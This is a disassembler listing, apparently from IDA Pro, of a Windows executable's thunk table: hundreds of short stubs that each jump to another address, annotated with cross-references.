; Attributes: thunk
sub_4013CA proc near ; CODE XREF: sub_426560+Cp
; sub_4266D0+Ap ...
jmp sub_426520
sub_4013CA endp
; ---------------------------------------------------------------------------
jmp loc_40D3C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013D4 proc near ; CODE XREF: sub_4253C0+E9p
; sub_4253C0+116p ...
jmp sub_425370
sub_4013D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013D9 proc near ; CODE XREF: sub_40A9A0+20p
jmp sub_40AAD0
sub_4013D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013DE proc near ; CODE XREF: sub_410030+AFDp
; sub_410030+E71p ...
jmp sub_40AFA0
sub_4013DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013E3 proc near ; CODE XREF: sub_404CC0+8E9p
; sub_404CC0+8F2p ...
jmp sub_40A350
sub_4013E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013E8 proc near ; CODE XREF: ___:0042210Ap
jmp sub_422640
sub_4013E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013ED proc near ; CODE XREF: sub_404690+87p
; sub_410030+9B0p ...
jmp sub_40A240
sub_4013ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013F2 proc near ; CODE XREF: sub_427D50+12Ep
jmp sub_41A050
sub_4013F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013F7 proc near ; CODE XREF: sub_41E760+35Dp
; sub_41E760+3CAp ...
jmp sub_421CA0
sub_4013F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013FC proc near ; CODE XREF: sub_418DA0+7p
jmp sub_4190A0
sub_4013FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401401 proc near ; CODE XREF: sub_4162C0+5Fp
jmp sub_416890
sub_401401 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401406 proc near ; DATA XREF: ___:off_43F0C4o
jmp sub_41B4D0
sub_401406 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40140B proc near ; CODE XREF: sub_4157B0+29p
; sub_4158D0+29p
jmp sub_416380
sub_40140B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401410 proc near ; CODE XREF: sub_413E70+19Ap
jmp sub_415890
sub_401410 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401415 proc near ; CODE XREF: ___:004301FFp
; ___:00430228p
jmp sub_4303A0
sub_401415 endp
; ---------------------------------------------------------------------------
jmp loc_42E2B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40141F proc near ; CODE XREF: ___:00416EFFp
jmp sub_417F50
sub_40141F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401424 proc near ; CODE XREF: sub_41B920:loc_41B92Fp
; sub_41B920+1Fp
jmp sub_41B900
sub_401424 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401429 proc near ; DATA XREF: sub_40AFA0+4o
jmp sub_40B070
sub_401429 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40142E proc near ; CODE XREF: sub_403530+61p
; sub_403CE0+1Dp ...
jmp sub_409BC0
sub_40142E endp
; ---------------------------------------------------------------------------
jmp loc_437130
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401438 proc near ; CODE XREF: sub_418990+29p
jmp sub_418C10
sub_401438 endp
; ---------------------------------------------------------------------------
jmp loc_434370
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401442 proc near ; CODE XREF: ___:00433B5Dp
; sub_433CE0+20p
jmp sub_433E10
sub_401442 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401447 proc near ; CODE XREF: ___:00406C23p
; ___:00416C58p ...
jmp sub_406C50
sub_401447 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40144C proc near ; CODE XREF: sub_404690+370p
; sub_404690:loc_404A35p ...
jmp sub_404C30
sub_40144C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401451 proc near ; CODE XREF: sub_404CC0+26Bp
; ___:0040F346p ...
jmp sub_40E870
sub_401451 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401456 proc near ; CODE XREF: sub_415A60+5p
jmp sub_416540
sub_401456 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40145B proc near ; CODE XREF: sub_40B600+1Dp
; ___:0040BA2Dp ...
jmp sub_40BE00
sub_40145B endp
; ---------------------------------------------------------------------------
jmp loc_40B6D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401465 proc near ; CODE XREF: sub_41E760+349p
; sub_421BF0+1Ap
jmp sub_421C60
sub_401465 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40146F proc near ; CODE XREF: sub_4151C0+29p
jmp sub_415CE0
sub_40146F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401474 proc near ; CODE XREF: ___:00408AEEp
; ___:00408B17p ...
jmp sub_409530
sub_401474 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401479 proc near ; CODE XREF: sub_404690+30p
; sub_404690+14Bp ...
jmp sub_40A7A0
sub_401479 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40147E proc near ; CODE XREF: sub_4193C0+1D8p
; sub_4193C0+1EFp
jmp sub_419890
sub_40147E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401483 proc near ; CODE XREF: sub_412780+F8p
jmp sub_41BD90
sub_401483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401488 proc near ; CODE XREF: sub_413C40+E1p
jmp sub_4152A0
sub_401488 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40148D proc near ; CODE XREF: sub_422B40+48p
; sub_422B40+213p ...
jmp sub_426B60
sub_40148D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401492 proc near ; CODE XREF: sub_41B5B0+2Ap
; sub_41B5B0+5Ap
; DATA XREF: ...
jmp sub_41A6B0
sub_401492 endp
; ---------------------------------------------------------------------------
jmp loc_4323F0
; ---------------------------------------------------------------------------
jmp loc_42FBD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014A1 proc near ; CODE XREF: sub_40EE40+EAp
jmp sub_40ED00
sub_4014A1 endp
; ---------------------------------------------------------------------------
jmp loc_40A7C0
; ---------------------------------------------------------------------------
loc_4014AB: ; DATA XREF: ___:off_43F078o
jmp loc_40F210
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014B0 proc near ; CODE XREF: sub_40BE00+14p
; sub_40BE40+9p ...
jmp sub_40C1A0
sub_4014B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014B5 proc near ; CODE XREF: sub_42C4C0+1Dp
jmp sub_42C530
sub_4014B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014BA proc near ; CODE XREF: sub_41C710+4E7p
; sub_41C710+A75p ...
jmp sub_41D6D0
sub_4014BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4014BF proc near ; CODE XREF: sub_4132F0+48p
; ___:0043AC97j ...
jmp sub_4157B0
sub_4014BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014C4 proc near
jmp sub_40AF60
sub_4014C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014C9 proc near ; DATA XREF: ___:off_43F044o
jmp sub_414E10
sub_4014C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014CE proc near ; CODE XREF: ___:00427913p sub_427970j ...
jmp sub_427850
sub_4014CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014D3 proc near ; CODE XREF: sub_403530+115p
; sub_404690+1B8p ...
jmp sub_409C60
sub_4014D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4014D8 proc near ; CODE XREF: sub_40AD50+7p
jmp sub_40AE40
sub_4014D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014DD proc near ; CODE XREF: sub_404B60+9p
; sub_404CC0+45p ...
jmp sub_40A820
sub_4014DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014E2 proc near ; CODE XREF: sub_41E760+E1p
; sub_4219F0+1Ap
jmp sub_421A60
sub_4014E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014E7 proc near ; CODE XREF: sub_41A210+10p
; sub_41A3B0+47p ...
jmp sub_41A600
sub_4014E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4014EC proc near ; CODE XREF: sub_407100+24p
jmp sub_4072E0
sub_4014EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014F1 proc near ; CODE XREF: ___:0042C3E5p
jmp sub_42C4C0
sub_4014F1 endp
; ---------------------------------------------------------------------------
jmp sub_4288F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4014FB proc near ; CODE XREF: ___:00416C1Bp
; ___:0043B1B6j ...
jmp sub_417640
sub_4014FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401500 proc near ; CODE XREF: sub_415C20+5Fp
jmp sub_416610
sub_401500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401505 proc near ; CODE XREF: sub_4248E0+Fp
; sub_424920+1CCp ...
jmp sub_424840
sub_401505 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40150A proc near ; CODE XREF: ___:004296C7p
; ___:0042978Cp ...
jmp sub_40A070
sub_40150A endp
; ---------------------------------------------------------------------------
jmp loc_419AB0
; ---------------------------------------------------------------------------
jmp loc_433F20
; ---------------------------------------------------------------------------
jmp loc_42FEF0
; ---------------------------------------------------------------------------
jmp loc_42FE00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401523 proc near ; CODE XREF: sub_422050+8p
jmp sub_4224A0
sub_401523 endp
; ---------------------------------------------------------------------------
jmp locret_419A30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40152D proc near ; CODE XREF: sub_40CC90+1E4p
; sub_40D040+143p ...
jmp sub_419A70
sub_40152D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401532 proc near ; CODE XREF: sub_418B70+3p
jmp sub_418E00
sub_401532 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401537 proc near ; DATA XREF: ___:0043F1B8o
jmp sub_42C830
sub_401537 endp
; ---------------------------------------------------------------------------
jmp loc_433870
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401541 proc near ; CODE XREF: sub_410030+95p
; sub_4120B0+54Dp ...
jmp sub_4142E0
sub_401541 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401546 proc near ; CODE XREF: sub_40B600+Bp
; ___:0040BA19p
jmp sub_40BF00
sub_401546 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40154B proc near ; CODE XREF: sub_430830+1Bp
; sub_432ED0+94p
jmp sub_4309A0
sub_40154B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401550 proc near ; CODE XREF: sub_421FD0+7p
jmp sub_422450
sub_401550 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401555 proc near ; CODE XREF: ___:00433B4Fp
; sub_433CE0+Fp
jmp sub_433E50
sub_401555 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40155A proc near ; CODE XREF: sub_418A40+29p
; sub_418B20+29p
jmp sub_418CC0
sub_40155A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40155F proc near ; CODE XREF: sub_40B250+40p
; ___:00439E1Aj ...
jmp sub_40BD90
sub_40155F endp
; ---------------------------------------------------------------------------
jmp loc_4316A0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401569 proc near ; CODE XREF: sub_40C0D0+4p
jmp sub_40C2E0
sub_401569 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40156E proc near ; CODE XREF: sub_407080+3Cp
jmp sub_407230
sub_40156E endp
; ---------------------------------------------------------------------------
jmp loc_41BD20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401578 proc near ; CODE XREF: sub_4152E0+5Bp
; sub_415C20+11p ...
jmp sub_415E70
sub_401578 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40157D proc near ; CODE XREF: ___:00416F8Ap
jmp sub_418330
sub_40157D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401582 proc near ; CODE XREF: sub_413740+BEp
; sub_413740+FCp ...
jmp sub_4151C0
sub_401582 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401587 proc near ; CODE XREF: ___:00416E9Fp
jmp sub_417CC0
sub_401587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40158C proc near ; CODE XREF: sub_4129D0+39p
; sub_412A40+A9p
jmp sub_412940
sub_40158C endp
; ---------------------------------------------------------------------------
jmp loc_4323C0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401596 proc near ; CODE XREF: sub_40A510+16Fp
; ___:00439D8Aj
jmp sub_40A870
sub_401596 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40159B proc near ; CODE XREF: sub_404010+51p
; ___:004040B4p ...
jmp sub_407100
sub_40159B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015A0 proc near ; CODE XREF: ___:00408B0Bp
; ___:00408B34p ...
jmp sub_40B760
sub_4015A0 endp
; ---------------------------------------------------------------------------
jmp loc_433280
; ---------------------------------------------------------------------------
jmp loc_41A280
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4015AF proc near ; CODE XREF: sub_4160C0+4p
jmp sub_416710
sub_4015AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015B4 proc near ; CODE XREF: sub_409930+1Ap
; sub_409980+1Ap
jmp sub_4099F0
sub_4015B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015B9 proc near ; DATA XREF: ___:0043F134o
jmp sub_429330
sub_4015B9 endp
; ---------------------------------------------------------------------------
jmp loc_433BE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015C3 proc near ; CODE XREF: ___:004192A5p
jmp sub_419300
sub_4015C3 endp
; ---------------------------------------------------------------------------
jmp loc_4337B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015CD proc near ; CODE XREF: ___:0041D833p
jmp sub_41D860
sub_4015CD endp
; ---------------------------------------------------------------------------
jmp loc_4334F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015D7 proc near ; CODE XREF: sub_415420+5p
jmp sub_415EA0
sub_4015D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015DC proc near ; CODE XREF: sub_418AB0+5p
; sub_418BB0+6p ...
jmp sub_418DC0
sub_4015DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015E1 proc near ; CODE XREF: sub_404CC0+94Dp
; ___:00406EACp ...
jmp sub_409D60
sub_4015E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015E6 proc near ; CODE XREF: ___:00416E5Fp
jmp sub_406BF0
sub_4015E6 endp
; ---------------------------------------------------------------------------
jmp loc_424430
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015F0 proc near ; CODE XREF: ___:00415F2Ap
jmp sub_416760
sub_4015F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015F5 proc near ; CODE XREF: sub_41F030+1C7p
jmp sub_420DD0
sub_4015F5 endp
; ---------------------------------------------------------------------------
loc_4015FA: ; DATA XREF: ___:0043F1C0o
jmp loc_42CB20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4015FF proc near ; CODE XREF: sub_4292E0+3p
jmp sub_429310
sub_4015FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401604 proc near ; CODE XREF: sub_404CC0+E8Ep
; sub_40D660+120p ...
jmp sub_420090
sub_401604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401609 proc near ; CODE XREF: sub_4327B0+20p
; sub_4327B0+32p
jmp sub_434960
sub_401609 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40160E proc near ; CODE XREF: ___:00432725p
jmp sub_431220
sub_40160E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401613 proc near
jmp sub_426C70
sub_401613 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401618 proc near ; CODE XREF: sub_4164E0+8p
jmp sub_4168B0
sub_401618 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40161D proc near ; DATA XREF: ___:off_43F0ACo
jmp sub_41E760
sub_40161D endp
; ---------------------------------------------------------------------------
jmp loc_41ABA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401627 proc near ; CODE XREF: sub_40AF80p ___:004313E2p
jmp sub_4325F0
sub_401627 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40162C proc near ; CODE XREF: sub_407140+1Ap
; sub_418990+1Ap
jmp sub_407270
sub_40162C endp
; ---------------------------------------------------------------------------
jmp loc_416D90
; ---------------------------------------------------------------------------
jmp loc_430360
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40163B proc near ; CODE XREF: sub_422340+5Fp
jmp sub_4226E0
sub_40163B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401640 proc near ; CODE XREF: ___:0041A30Ap
jmp sub_41B160
sub_401640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401645 proc near ; CODE XREF: sub_4327B0:loc_4327EEp
jmp sub_432850
sub_401645 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40164A proc near ; CODE XREF: sub_434150+12p
; sub_4348A0+51p
jmp sub_431810
sub_40164A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40164F proc near ; CODE XREF: ___:00416EAFp
jmp sub_417D60
sub_40164F endp
; ---------------------------------------------------------------------------
jmp loc_4314E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401659 proc near ; CODE XREF: sub_40A930+8p
jmp sub_40A980
sub_401659 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40165E proc near ; CODE XREF: ___:0041301Ep
jmp sub_4131B0
sub_40165E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401663 proc near ; CODE XREF: sub_430D90+ADp
; ___:004335A0p ...
jmp sub_4307E0
sub_401663 endp
; ---------------------------------------------------------------------------
db 0E9h ; И
db 43h ; C
db 0B4h ; ╢
db 2
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40166D proc near ; CODE XREF: sub_42CB70+15Ep
jmp sub_42C770
sub_40166D endp
; ---------------------------------------------------------------------------
jmp loc_4068A0
; ---------------------------------------------------------------------------
jmp loc_42F640
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40167C proc near ; CODE XREF: ___:0040741Ap
jmp sub_4075C0
sub_40167C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401681 proc near ; CODE XREF: sub_422750+3Cp
jmp sub_422890
sub_401681 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401686 proc near ; DATA XREF: ___:0043F0C8o
jmp sub_41B5B0
sub_401686 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40168B proc near ; CODE XREF: sub_403530+BBp
; ___:00406F1Dp ...
jmp sub_403700
sub_40168B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401690 proc near ; CODE XREF: ___:004300A0p
; ___:0043011Ep ...
jmp sub_434070
sub_401690 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401695 proc near ; CODE XREF: sub_409570+10p
jmp sub_409610
sub_401695 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40169A proc near ; CODE XREF: sub_40A510+4Ap
jmp sub_40A840
sub_40169A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40169F proc near ; CODE XREF: ___:00416ECFp
jmp sub_40F6D0
sub_40169F endp
; ---------------------------------------------------------------------------
jmp loc_4333D0
; ---------------------------------------------------------------------------
jmp loc_42F940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016AE proc near ; CODE XREF: sub_40BFA0+9p
; sub_40C200+18p
jmp sub_40C380
sub_4016AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016B3 proc near ; CODE XREF: sub_41D930+283p
jmp sub_42FB70
sub_4016B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016B8 proc near ; CODE XREF: sub_403530+CCp
; sub_404690+EDp ...
jmp sub_40A710
sub_4016B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016BD proc near ; CODE XREF: ___:00416EEFp
jmp sub_417F20
sub_4016BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016C2 proc near ; CODE XREF: sub_4246D0+7Ep
; sub_4246D0+92p ...
jmp sub_4245A0
sub_4016C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016C7 proc near ; CODE XREF: sub_412780+E0p
; sub_4138B0+CEp ...
jmp sub_409F50
sub_4016C7 endp
; ---------------------------------------------------------------------------
jmp loc_42F420
; ---------------------------------------------------------------------------
jmp loc_42FBA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016D6 proc near ; CODE XREF: ___:00415169p
jmp sub_415AD0
sub_4016D6 endp
; ---------------------------------------------------------------------------
loc_4016DB: ; DATA XREF: ___:off_43F0ECo
jmp loc_427910
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016E0 proc near ; CODE XREF: sub_4096E0+58p
; sub_4096E0+82p ...
jmp sub_409930
sub_4016E0 endp
; ---------------------------------------------------------------------------
jmp sub_428210
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4016EA proc near ; CODE XREF: sub_41E760+2B2p
jmp sub_421BB0
sub_4016EA endp
; ---------------------------------------------------------------------------
jmp loc_41AF50
; ---------------------------------------------------------------------------
jmp loc_4119B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4016F9 proc near ; CODE XREF: sub_40A930+10p
jmp sub_40A9A0
sub_4016F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4016FE proc near
jmp sub_4364D0
sub_4016FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401703 proc near ; CODE XREF: sub_418430+7Bp
; sub_418430+C5p ...
jmp sub_418BE0
sub_401703 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401708 proc near ; CODE XREF: sub_4148A0+FCp
jmp sub_414A70
sub_401708 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40170D proc near ; CODE XREF: sub_41E760+D1p
jmp sub_421B10
sub_40170D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401712 proc near ; CODE XREF: sub_40AF60p
; ___:loc_4313C5p
jmp sub_432570
sub_401712 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401717 proc near ; CODE XREF: sub_4096E0+91p
; sub_412C90+Dp
jmp sub_4098B0
sub_401717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40171C proc near ; DATA XREF: ___:off_43F0A8o
jmp sub_40C4E0
sub_40171C endp
; ---------------------------------------------------------------------------
jmp loc_40AEC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401726 proc near ; CODE XREF: sub_413A80+4Ep
jmp sub_415140
sub_401726 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40172B proc near ; CODE XREF: sub_40F6D0+13Dp
jmp sub_412C60
sub_40172B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401730 proc near ; CODE XREF: ___:0040F290p
jmp sub_40E2F0
sub_401730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401735 proc near ; CODE XREF: ___:00415191p
jmp sub_415BA0
sub_401735 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40173A proc near ; CODE XREF: sub_428940+98p
jmp sub_428AB0
sub_40173A endp
; ---------------------------------------------------------------------------
jmp loc_426700
; ---------------------------------------------------------------------------
jmp loc_41AFF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401749 proc near ; CODE XREF: sub_407140+48p
; sub_407140:loc_4071C5p
jmp sub_407340
sub_401749 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40174E proc near ; CODE XREF: sub_40AEF0+2Cp
; sub_418430+8Fp ...
jmp sub_40B020
sub_40174E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401753 proc near ; CODE XREF: sub_403720+2A5p
; sub_403720+2B5p ...
jmp sub_403DE0
sub_401753 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401758 proc near ; CODE XREF: sub_42B8E0+7Fp
; sub_42BB00+318p
jmp sub_42B6F0
sub_401758 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40175D proc near ; CODE XREF: sub_415A90+14p
; sub_415AD0+9p ...
jmp sub_416630
sub_40175D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401762 proc near ; CODE XREF: sub_40B020+10p
; ___:004305B1p ...
jmp sub_431470
sub_401762 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401767 proc near ; CODE XREF: ___:0040AFF4p
jmp sub_4348A0
sub_401767 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40176C proc near ; CODE XREF: sub_418E80+5Fp
jmp sub_419110
sub_40176C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401771 proc near ; CODE XREF: ___:0041896Cp
jmp sub_418590
sub_401771 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401776 proc near ; CODE XREF: ___:00416B1Bp
; ___:00416DE3p ...
jmp sub_416DC0
sub_401776 endp
; ---------------------------------------------------------------------------
jmp loc_420EC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401780 proc near ; CODE XREF: ___:00416EBFp
jmp sub_417E30
sub_401780 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401785 proc near ; CODE XREF: sub_430B30+5Dp
; sub_431B00+2Cp ...
jmp sub_4322D0
sub_401785 endp
; ---------------------------------------------------------------------------
jmp loc_42F590
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40178F proc near ; CODE XREF: ___:00427370p
jmp sub_428880
sub_40178F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401794 proc near ; CODE XREF: ___:00426757p
jmp sub_426560
sub_401794 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401799 proc near ; CODE XREF: ___:00416F9Ap
jmp sub_418360
sub_401799 endp
; ---------------------------------------------------------------------------
jmp loc_433200
; ---------------------------------------------------------------------------
jmp loc_4301A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017A8 proc near ; CODE XREF: ___:004292B3p sub_429310j ...
jmp sub_4291E0
sub_4017A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017AD proc near ; CODE XREF: ___:00416BCBp
; ___:00416D93p ...
jmp sub_416D60
sub_4017AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017B2 proc near ; DATA XREF: ___:off_43F17Co
jmp sub_42B3F0
sub_4017B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017B7 proc near ; CODE XREF: sub_431240+D7p
jmp sub_432A20
sub_4017B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017BC proc near ; CODE XREF: sub_40AF60+5j
; ___:loc_4313CDp
jmp sub_432670
sub_4017BC endp
; ---------------------------------------------------------------------------
jmp loc_431420
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017C6 proc near ; CODE XREF: sub_4266D0+10p
; sub_4267D0+3Dp
jmp sub_4267A0
sub_4017C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017CB proc near ; CODE XREF: sub_40AF80+5j
; ___:loc_4313D5p ...
jmp sub_432690
sub_4017CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017D0 proc near ; DATA XREF: ___:off_43F000o
jmp sub_404CC0
sub_4017D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017D5 proc near ; CODE XREF: sub_4248E0+1Ep
; sub_424920+A6p ...
jmp sub_424870
sub_4017D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017DA proc near ; CODE XREF: ___:00416B8Bp
; ___:0043B234j ...
jmp sub_417A60
sub_4017DA endp
; =============== S U B R O U T I N E =======================================
